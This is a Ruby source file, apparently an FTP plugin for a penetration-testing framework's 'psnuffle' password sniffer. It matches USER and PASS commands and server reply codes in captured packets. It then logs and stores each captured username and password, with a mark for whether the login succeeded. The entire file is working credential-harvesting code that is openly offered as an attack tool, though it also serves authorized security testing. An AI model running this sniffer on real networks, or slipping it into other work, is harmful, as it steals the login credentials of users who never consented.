# Psnuffle password sniffer add-on class for ftp
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
# Also incorrect credentials are sniffed but marked
# as unsuccessful logins... (Typos are common :-) )
#

class SnifferFTP < BaseProtocolParser

	def register_sigs
		self.sigs = {
			:banner		=> /^(220\s*[^\r\n]+)/i,
			:user		=> /^USER\s+([^\s]+)/i,
			:pass		=> /^PASS\s+([^\s]+)/i,
			:login_pass => /^(230\s*[^\n]+)/i,
			:login_fail => /^(5\d\d\s*[^\n]+)/i,
			:bye      => /^221/
		}
	end

	def parse(pkt)
		# We want to return immediatly if we do not have a packet which is handled by us
		return unless pkt.is_tcp?
		return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21)
		s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt))
		s[:sname] ||= "ftp"

		self.sigs.each_key do |k|
			# There is only one pattern per run to test
			matched = nil
			matches = nil

			if(pkt.payload =~ self.sigs[k])
				matched = k
				matches = $1
			end

			case matched

			when :login_fail
				if(s[:user] and s[:pass])
					report_auth_info(s.merge({:active => false}))
					print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")

					s[:pass] = ""
					return
				end

			when :login_pass
				if(s[:user] and s[:pass])
					report_auth_info(s)
					print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
					# Remove it form the session objects so freeup memory
					sessions.delete(s[:session])
					return
				end

			when :banner
				# Because some ftp server send multiple banner we take only the first one and ignore the rest
				if not (s[:info])
					s[:info] = matches
					report_service(s)
				end

			when :bye
				sessions.delete(s[:session])

			when nil
				# No matches, no saved state
			else
				sessions[s[:session]].merge!({k => matches})
			end # end case matched

		end # end of each_key
	end # end of parse
end

